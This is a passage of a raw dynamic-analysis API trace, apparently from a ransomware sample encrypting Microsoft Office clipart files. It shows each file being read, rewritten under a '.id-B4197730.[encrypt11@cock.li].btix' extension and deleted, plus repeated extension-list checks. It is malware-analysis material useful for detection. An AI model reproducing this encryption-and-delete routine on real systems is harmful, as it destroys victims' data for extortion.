dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.947] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26706) returned 1 [0132.947] CloseHandle (hObject=0x430) returned 1 [0132.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0132.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0132.948] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.948] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0132.948] GetLastError () returned 0x0 [0132.948] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x6852, lpOverlapped=0x0) returned 1 [0133.337] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x6860, lpOverlapped=0x0) returned 1 [0133.338] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.338] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.338] SetEndOfFile (hFile=0x4a8) returned 1 [0133.338] CloseHandle (hObject=0x4a8) returned 1 [0133.338] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.338] SetEndOfFile (hFile=0x430) returned 1 [0133.341] CloseHandle (hObject=0x430) returned 1 [0133.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.342] lstrlenW (lpString=".doc") returned 4 [0133.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString=".docx") returned 5 [0133.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.342] lstrlenW (lpString=".pdf") returned 4 [0133.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString=".xls") returned 4 [0133.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.342] lstrlenW (lpString=".xlsx") returned 5 [0133.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.342] lstrlenW (lpString=".ppt") returned 4 [0133.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.342] lstrlenW (lpString=".zip") returned 4 [0133.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.342] lstrlenW (lpString=".rar") returned 4 [0133.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString=".bz2") returned 4 [0133.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString=".7z") returned 3 [0133.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.342] lstrlenW (lpString=".dbf") returned 4 [0133.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.342] lstrlenW (lpString=".1cd") returned 4 [0133.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString=".jpg") returned 4 [0133.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString=".doc") returned 4 [0133.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString=".docx") returned 5 [0133.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.343] lstrlenW (lpString=".pdf") returned 4 [0133.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString=".xls") returned 4 [0133.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.343] lstrlenW (lpString=".xlsx") returned 5 [0133.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.343] lstrlenW (lpString=".ppt") returned 4 [0133.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString=".zip") returned 4 [0133.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.343] lstrlenW (lpString=".rar") returned 4 [0133.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString=".bz2") returned 4 [0133.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString=".7z") returned 3 [0133.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString=".dbf") returned 4 [0133.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.343] lstrlenW (lpString=".1cd") returned 4 [0133.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0133.344] lstrlenW (lpString=".jpg") returned 4 [0133.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.344] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.344] lstrlenW (lpString="HH02155_.WMF") returned 12 [0133.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.344] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2704) returned 1 [0133.344] CloseHandle (hObject=0x430) returned 1 [0133.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0133.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.345] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.345] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0133.345] GetLastError () returned 0x0 [0133.345] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xa90, lpOverlapped=0x0) returned 1 [0133.405] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0133.406] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.406] WriteFile (in: hFile=0x4a8, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.406] SetEndOfFile (hFile=0x4a8) returned 1 [0133.420] CloseHandle (hObject=0x4a8) returned 1 [0133.425] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.425] SetEndOfFile (hFile=0x430) returned 1 [0133.437] CloseHandle (hObject=0x430) returned 1 [0133.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0133.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.440] lstrlenW (lpString=".doc") returned 4 [0133.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.440] lstrlenW (lpString=".docx") returned 5 [0133.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.440] lstrlenW (lpString=".pdf") returned 4 [0133.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.440] lstrlenW (lpString=".xls") returned 4 [0133.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.440] lstrlenW (lpString=".xlsx") returned 5 [0133.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.440] lstrlenW (lpString=".ppt") returned 4 [0133.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".zip") returned 4 [0133.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.441] lstrlenW (lpString=".rar") returned 4 [0133.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString=".bz2") returned 4 [0133.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString=".7z") returned 3 [0133.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".dbf") returned 4 [0133.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".1cd") returned 4 [0133.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".jpg") returned 4 [0133.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".doc") returned 4 [0133.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString=".docx") returned 5 [0133.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.441] lstrlenW (lpString=".pdf") returned 4 [0133.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString=".xls") returned 4 [0133.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.441] lstrlenW (lpString=".xlsx") returned 5 [0133.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.441] lstrlenW (lpString=".ppt") returned 4 [0133.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.441] lstrlenW (lpString=".zip") returned 4 [0133.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.441] lstrlenW (lpString=".rar") returned 4 [0133.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.441] lstrlenW (lpString=".bz2") returned 4 [0133.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.442] lstrlenW (lpString=".7z") returned 3 [0133.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.442] lstrlenW (lpString=".dbf") returned 4 [0133.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.442] lstrlenW (lpString=".1cd") returned 4 [0133.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0133.442] lstrlenW (lpString=".jpg") returned 4 [0133.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.442] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.442] lstrlenW (lpString="HH02298_.WMF") returned 12 [0133.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.442] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5552) returned 1 [0133.442] CloseHandle (hObject=0x430) returned 1 [0133.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0133.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.443] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.443] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.443] GetLastError () returned 0x0 [0133.443] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0133.451] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0133.452] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.452] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0133.452] SetEndOfFile (hFile=0x4c0) returned 1 [0133.452] CloseHandle (hObject=0x4c0) returned 1 [0133.453] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.453] SetEndOfFile (hFile=0x430) returned 1 [0133.455] CloseHandle (hObject=0x430) returned 1 [0133.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0133.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString=".doc") returned 4 [0133.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString=".docx") returned 5 [0133.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.456] lstrlenW (lpString=".pdf") returned 4 [0133.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString=".xls") returned 4 [0133.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.456] lstrlenW (lpString=".xlsx") returned 5 [0133.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.456] lstrlenW (lpString=".ppt") returned 4 [0133.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString=".zip") returned 4 [0133.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.456] lstrlenW (lpString=".rar") returned 4 [0133.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString=".bz2") returned 4 [0133.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString=".7z") returned 3 [0133.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString=".dbf") returned 4 [0133.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString=".1cd") returned 4 [0133.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.456] lstrlenW (lpString=".jpg") returned 4 [0133.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString=".doc") returned 4 [0133.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString=".docx") returned 5 [0133.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.457] lstrlenW (lpString=".pdf") returned 4 [0133.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString=".xls") returned 4 [0133.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.457] lstrlenW (lpString=".xlsx") returned 5 [0133.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.457] lstrlenW (lpString=".ppt") returned 4 [0133.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString=".zip") returned 4 [0133.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.457] lstrlenW (lpString=".rar") returned 4 [0133.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString=".bz2") returned 4 [0133.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString=".7z") returned 3 [0133.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString=".dbf") returned 4 [0133.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString=".1cd") returned 4 [0133.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0133.457] lstrlenW (lpString=".jpg") returned 4 [0133.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.458] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0133.458] lstrlenW (lpString="HH02312_.WMF") returned 12 [0133.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0133.458] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4970) returned 1 [0133.458] CloseHandle (hObject=0x430) returned 1 [0133.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft 